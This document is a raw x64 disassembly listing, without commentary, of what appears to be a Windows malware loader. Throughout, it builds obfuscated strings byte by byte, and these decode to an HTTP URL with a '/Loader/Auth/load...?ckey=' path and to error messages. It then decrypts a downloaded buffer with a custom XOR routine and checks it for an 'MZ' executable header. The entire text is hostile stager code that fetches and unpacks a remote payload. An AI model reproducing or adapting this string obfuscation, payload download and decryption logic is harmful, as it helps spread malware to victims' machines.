call fcn.14002de98
mov byte [rbp + 0xae4], al
mov r9d, edi
lea esi, [rdi - 0x2a]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae5], al
mov r9d, edi
lea r8d, [rdi - 0x29]
mov dl, 0x61
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae6], al
mov r9d, edi
lea r8d, [rdi - 0x28]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae7], al
mov r9d, edi
lea edi, [rsi + 3]
mov r8d, edi
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae8], al
mov r9d, r12d
lea r8d, [r12 - 0x26]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xae9], al
mov r9d, r12d
lea r8d, [r12 - 0x25]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaea], al
mov r9d, r12d
lea r8d, [r12 - 0x24]
mov dl, Ordinal_41
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaeb], al
mov r9d, r12d
lea r8d, [r12 - 0x23]
mov dl, 0x57
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaec], al
mov r9d, r12d
lea r8d, [r12 - 0x22]
mov dl, 0x61
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaed], al
mov r9d, r12d
lea r8d, [r12 - 0x21]
mov dl, WSAStartup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaee], al
mov r9d, r12d
lea r8d, [r12 - 0x20]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaef], al
mov r9d, r12d
lea r8d, [r12 - 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf0], al
mov r9d, r12d
mov r8d, r14d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf1], al
mov r9d, r12d
lea r8d, [r12 - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf2], al
mov r9d, r12d
lea r15d, [r12 - 0x1c]
mov r8d, r15d
mov dl, 0x3a
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf3], al
mov r9d, r12d
lea r8d, [r12 - 0x1b]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf4], al
mov r9d, r12d
lea r8d, [r12 - 0x1a]
mov dl, 0x54
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf5], al
mov r9d, r12d
lea r8d, [r12 - 0x19]
mov dl, 0x68
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf6], al
mov r9d, r12d
lea r13d, [r12 - 0x18]
mov r8d, r13d
mov dl, 0x69
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf7], al
mov r9d, r12d
lea r8d, [r12 - 0x17]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf8], al
mov r9d, r12d
lea r8d, [r12 - 0x16]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaf9], al
mov r9d, r12d
lea r8d, [r12 - 0x15]
mov dl, 0x6d
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xafa], al
mov r9d, r12d
lea r8d, [r12 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xafb], al
mov r9d, r12d
lea r8d, [r12 - 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xafc], al
mov r9d, r12d
lea r8d, [r12 - 0x12]
mov dl, 0x68
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xafd], al
mov r9d, r12d
lea r8d, [r12 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xafe], al
mov r9d, r12d
lea r8d, [r12 - 0x10]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xaff], al
mov r9d, r12d
lea r8d, [r12 - 0xf]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb00], al
mov r9d, r12d
lea r8d, [r12 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb01], al
mov r9d, r12d
lea r8d, [r12 - 0xd]
mov dl, 0x6b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb02], al
mov r9d, r12d
lea r8d, [r12 - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb03], al
mov r9d, r12d
lea r8d, [r12 - 0xb]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb04], al
mov r9d, r12d
lea r8d, [r12 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb05], al
mov r9d, r12d
lea r8d, [r12 - 9]
mov dl, r14b
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb06], al
mov r9d, r12d
lea r8d, [r12 - 8]
mov dl, 0x77
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb07], al
mov r9d, r12d
lea r8d, [r12 - 7]
mov dl, 0x68
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb08], al
mov r9d, r12d
lea r8d, [r12 - 6]
mov dl, 0x69
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb09], al
mov r9d, r12d
lea r8d, [r12 - 5]
mov dl, 0x6c
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb0a], al
mov r9d, r12d
lea r8d, [r12 - 4]
mov dl, 0x65
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb0b], al
mov r9d, r12d
lea r8d, [r12 - 3]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb0c], al
mov r9d, r12d
lea r8d, [r12 - 2]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb0d], al
mov r9d, r12d
lea edx, [rsi - 0xa]
lea r8d, [r12 - 1]
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + 0xb0e], al
xor eax, eax
mov byte [rbp + 0xb0f], al
mov r12d, eax
lea ebx, [rsi - 0x13]
mov r9d, 0x3e
mov r8, r12
mov dl, byte [rbp + r12 + 0xad1]
lea rcx, [rbp + 0xad0]
call fcn.14002de98
mov byte [rbp + r12 + 0xad1], al
add r12, rbx
cmp r12, 0x3e
jb 0x1400152aa
xor eax, eax
mov byte [rbp + 0xb0f], al
lea rcx, [rbp + 0xad1]
call fcn.140004198
mov byte [rbp + 0x9c0], WSASetLastError
mov ebx, gethostname
mov r9d, ebx
xor r8d, r8d
mov dl, 0x68
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c1], al
mov r9d, ebx
lea r8d, [rbx - 0x35]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c2], al
mov r9d, ebx
lea r8d, [rbx - 0x34]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c3], al
mov r9d, ebx
lea r8d, [rbx - 0x33]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c4], al
mov r9d, ebx
lea r8d, [rbx - 0x32]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c5], al
mov r9d, ebx
lea r8d, [rbx - 0x31]
mov dl, 0x3a
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c6], al
mov r9d, ebx
lea r8d, [rbx - 0x30]
mov dl, 0x2f
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c7], al
mov r9d, ebx
lea r8d, [rbx - 0x2f]
mov dl, 0x2f
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c8], al
mov r9d, ebx
lea r8d, [rbx - 0x2e]
mov dl, 0x68
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9c9], al
mov r9d, ebx
lea r8d, [rbx - 0x2d]
mov dl, 0x61
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ca], al
mov r9d, ebx
lea r8d, [rbx - 0x2c]
mov dl, WSAStartup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9cb], al
mov r9d, ebx
lea r8d, [rbx - 0x2b]
mov dl, 0x76
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9cc], al
mov r9d, ebx
lea r8d, [rbx - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9cd], al
mov r9d, ebx
lea r8d, [rbx - 0x29]
mov dl, 0x79
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ce], al
mov r9d, ebx
lea r8d, [rbx - 0x28]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9cf], al
mov r9d, ebx
lea r8d, [rbx - 0x27]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d0], al
mov r9d, ebx
lea r12d, [rbx - 0x26]
mov r8d, r12d
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d1], al
mov r9d, ebx
lea r8d, [rbx - 0x25]
mov dl, 0x63
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d2], al
mov r9d, ebx
lea r8d, [rbx - 0x24]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d3], al
mov r9d, ebx
lea r8d, [rbx - 0x23]
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d4], al
mov r9d, ebx
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d5], al
mov r9d, ebx
lea r8d, [rbx - 0x21]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d6], al
mov r9d, ebx
lea r8d, [rbx - 0x20]
mov dl, 0x6c
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d7], al
mov r9d, ebx
mov r8, rdi
mov dl, 0x69
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d8], al
mov r9d, ebx
lea r8d, [rbx - 0x1e]
mov dl, 0x66
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9d9], al
mov r9d, ebx
lea r8d, [rbx - 0x1d]
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9da], al
mov r9d, ebx
lea r8d, [rbx - 0x1c]
mov dl, 0x2f
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9db], al
mov r9d, ebx
lea r8d, [rbx - 0x1b]
mov dl, 0x4c
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9dc], al
mov r9d, ebx
lea r8d, [rbx - 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9dd], al
mov r9d, ebx
lea r8d, [rbx - 0x19]
mov dl, 0x61
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9de], al
mov r9d, ebx
lea r8d, [rbx - 0x18]
mov dl, 0x64
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9df], al
mov r9d, ebx
lea r8d, [rbx - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e0], al
mov r9d, ebx
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e1], al
mov r9d, ebx
lea r8d, [rbx - 0x15]
mov dl, 0x41
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e2], al
mov r9d, ebx
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e3], al
mov r9d, ebx
lea r8d, [rbx - 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e4], al
mov r9d, ebx
lea r8d, [rbx - 0x12]
mov dl, 0x68
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e5], al
mov r9d, ebx
lea r8d, [rbx - 0x11]
mov dl, 0x2f
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e6], al
mov r9d, ebx
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e7], al
mov r9d, ebx
lea r8d, [rbx - 0xf]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e8], al
mov r9d, ebx
lea r8d, [rbx - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9e9], al
mov r9d, ebx
lea r8d, [rbx - 0xd]
mov dl, 0x64
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ea], al
mov r9d, ebx
lea r8d, [rbx - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9eb], al
mov r9d, ebx
lea r8d, [rbx - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ec], al
mov r9d, ebx
lea r8d, [rbx - 0xa]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ed], al
mov r9d, ebx
lea r8d, [rbx - 9]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ee], al
mov r9d, ebx
lea r8d, [rbx - 8]
mov dl, 0x68
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9ef], al
mov r9d, ebx
lea r8d, [rbx - 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f0], al
mov r9d, ebx
lea r8d, [rbx - 6]
mov dl, 0x3f
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f1], al
mov r9d, ebx
lea r8d, [rbx - 5]
mov dl, 0x63
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f2], al
mov r9d, ebx
lea r8d, [rbx - 4]
mov dl, 0x6b
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f3], al
mov r9d, ebx
lea r8d, [rbx - 3]
mov dl, 0x65
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f4], al
mov r9d, ebx
lea r8d, [rbx - 2]
mov dl, 0x79
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f5], al
mov r9d, ebx
lea r8d, [rbx - 1]
mov dl, 0x3d
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + 0x9f6], al
xor eax, eax
mov byte [rbp + 0x9f7], al
mov r15d, eax
lea ebx, [rax + 1]
mov r9d, gethostname
mov r8, r15
mov dl, byte [rbp + r15 + 0x9c1]
lea rcx, [rbp + 0x9c0]
call fcn.14002e43c
mov byte [rbp + r15 + 0x9c1], al
add r15, rbx
cmp r15, 0x36
jb 0x1400158b5
xor eax, eax
mov byte [rbp + 0x9f7], al
lea rdx, [rbp + 0x9c1]
lea rcx, [rbp + 0x1030]
call fcn.14002ed88
lea rcx, [rbp + 0xca0]
call fcn.140013640
lea rcx, [rbp + 0xb4c]
mov qword [rsp + 0x20], rcx
mov r9d, 8
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.14002eef4
lea rcx, [rbp + 0xca0]
call fcn.14002eca0
lea r8, [rbp + 0x1010]
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x1090]
call fcn.14002f108
lea rcx, [rbp + 0x1010]
call fcn.14002eae4
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140094d70
mov qword [rsp + 0x60], rax
mov dl, byte [rbp + 0xb4c]
lea rcx, [rbp + 0xf68]
call fcn.14002f2a4
lea rcx, [rbp + 0xf68]
call fcn.14002eee0
nop
lea rcx, [rbp + 0x1090]
call fcn.14002eae4
mov r9b, bl
xor r8d, r8d
lea rdx, [rbp + 0xf68]
mov rcx, rax
call fcn.1400131f4
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0xd20]
call fcn.14002edbc
mov rdx, rax
lea rcx, [rbp + 0xcc0]
call fcn.1400137ac
mov rdx, rax
lea rcx, [rbp + 0xf68]
call fcn.14002ecfc
lea rcx, [rbp + 0xcc0]
call fcn.14002eca0
xor edx, edx
lea rcx, [rbp + 0x1030]
call fcn.14002eecc
mov rcx, qword [rbp + 0xf78]
call fcn.1400985b0
mov rcx, rax
mov qword [rbp + 0xc10], rax
mov rax, qword [rbp + 0xf78]
mov qword [rbp - 0x50], rax
test rcx, rcx
mov ebx, reloc.WS2_32.dll_recvfrom
lea r15d, [rbx + 0x11]
je 0x14002d5a9
test rax, rax
je 0x14002d5a9
lea rcx, [rbp + 0xf68]
call fcn.14002eae4
mov rdx, rax
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp + 0xc10]
call fcn.1400b4700
xor edx, edx
lea rcx, [rbp + 0xf68]
call fcn.14002eecc
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x60], rax
movabs rax, 0xffecca5938
mov qword [rbp - 0x80], rax
xor r10d, r10d
mov qword [rbp + 0xf28], r10
mov r9d, r10d
mov r8d, r10d
lea r10d, [rbx - 0x10]
lea eax, [r9 + 1]
mov r9d, eax
movzx ecx, byte [rsp + r8 + 0x60]
imul ecx, eax
movzx eax, byte [rbp + r8 - 0x80]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + r8 + 0xf28], cl
add r8, r10
cmp r9d, 8
jb 0x140015a93
movabs rax, 0x8080808080808081
mov r8, qword [rbp - 0x50]
test r8, r8
je 0x140015bd7
xor r12d, r12d
mov ecx, r12d
mul r8
mov r9, rdx
shr r9, 7
add r9b, r8b
mov r10, qword [rbp + 0xc10]
mov r13d, r12d
lea r15d, [r12 + 1]
and ecx, 7
mov dil, byte [rbp + rcx + 0xf28]
mov al, dil
xor al, r9b
mov byte [rbp + 0xb4d], al
mov byte [rbp + 0xb4e], dil
mov ecx, r12d
lea r11, [rbp + 0xf28]
movabs r12, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xf28]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r11, r15
cmp ecx, 8
jb 0x140015b42
movzx ecx, dil
movzx eax, byte [rbp + 0xb4e]
add ecx, eax
movzx eax, byte [rbp + 0xb4d]
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r10]
sub dil, cl
mov byte [r10], dil
add r13d, r15d
add r10, r15
movsxd rcx, r13d
cmp rcx, r8
mov r12d, 0
jb 0x140015b10
lea edi, [r12 + 0x17]
lea r15d, [r12 + 0x22]
lea r12d, [rdi - 7]
mov eax, 0x5a4d
mov rcx, qword [rbp + 0xc10]
xor r8d, r8d
cmp word [rcx], ax
je 0x1400164d3
mov byte [rbp + 0x3b0], 5
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b1], al
mov r9, rbx
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b2], al
mov r9, rbx
lea r8d, [r13 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b3], al
mov r9, rbx
lea r8d, [r13 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b4], al
mov r9, rbx
lea r8d, [r13 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b5], al
mov r9, rbx
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b6], al
mov r9, rbx
lea r8d, [r13 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b7], al
mov r9, rbx
lea r8d, [r13 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b8], al
mov r9, rbx
lea r8d, [r13 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3b9], al
mov r9, rbx
lea r8d, [r13 + 8]
mov dl, r14b
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3ba], al
mov r9, rbx
lea r8d, [r13 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3bb], al
mov r9, rbx
lea r8d, [r13 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3bc], al
mov r9, rbx
lea r8d, [r13 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3bd], al
mov r9, rbx
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3be], al
mov r9, rbx
lea r8d, [r13 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3bf], al
mov r9, rbx
lea r8d, [r13 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3c0], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + 0x3c1], al
xor eax, eax
mov byte [rbp + 0x3c2], al
mov esi, eax
mov r9, rbx
mov r8, rsi
mov dl, byte [rbp + rsi + 0x3b1]
lea rcx, [rbp + 0x3b0]
call fcn.14002e0f0
mov byte [rbp + rsi + 0x3b1], al
add rsi, r13
cmp rsi, rbx
jb 0x140015dcc
xor eax, eax
mov byte [rbp + 0x3c2], al
mov byte [rbp + 0xa10], 0x7a
lea esi, [rax + 0x3d]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa11], al
mov r9d, esi
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa12], al
mov r9d, esi
lea r8d, [rsi - 0x3b]
mov dl, 0x76
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa13], al
mov r9d, esi
lea r8d, [rsi - 0x3a]
mov dl, 0x61
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa14], al
mov r9d, esi
lea r8d, [rsi - 0x39]
mov dl, 0x6c
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa15], al
mov r9d, esi
lea r8d, [rsi - 0x38]
mov dl, 0x69
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa16], al
mov r9d, esi
lea r8d, [rsi - 0x37]
mov dl, 0x64
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa17], al
mov r9d, esi
lea r8d, [rsi - 0x36]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa18], al
mov r9d, esi
lea r8d, [rsi - 0x35]
mov dl, 0x50
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa19], al
mov r9d, esi
lea r8d, [rsi - 0x34]
mov dl, WSAStartup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa1a], al
mov r9d, esi
lea r8d, [rsi - 0x33]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa1b], al
mov r9d, esi
lea r8d, [rsi - 0x32]
mov dl, 0x63
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa1c], al
mov r9d, esi
lea r8d, [rsi - 0x31]
mov dl, 0x65
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa1d], al
mov r9d, esi
lea r8d, [rsi - 0x30]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa1e], al
mov r9d, esi
lea r8d, [rsi - 0x2f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa1f], al
mov r9d, esi
lea r8d, [rsi - 0x2e]
mov dl, 0x65
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa20], al
mov r9d, esi
mov r8, r12
mov dl, 0x64
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa21], al
mov r9d, esi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa22], al
mov r9d, esi
lea r8d, [rsi - 0x2b]
mov dl, 0x44
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa23], al
mov r9d, esi
lea r8d, [rsi - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa24], al
mov r9d, esi
lea r8d, [rsi - 0x29]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa25], al
mov r9d, esi
lea r8d, [rsi - 0x28]
mov dl, 0x61
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa26], al
mov r9d, esi
lea r8d, [rsi - 0x27]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa27], al
mov r9d, esi
mov r8, rdi
mov dl, 0x30
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa28], al
mov r9d, esi
lea r8d, [rsi - 0x25]
mov dl, 0x78
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa29], al
mov r9d, esi
lea r8d, [rsi - 0x24]
mov dl, Ordinal_50
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa2a], al
mov r9d, esi
lea r8d, [rsi - 0x23]
mov dl, r14b
